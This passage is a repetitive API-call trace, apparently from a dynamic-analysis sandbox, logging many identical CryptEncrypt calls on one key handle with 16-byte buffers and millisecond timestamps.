CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.047] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.048] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.130] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.130] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.131] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.132] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.133] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 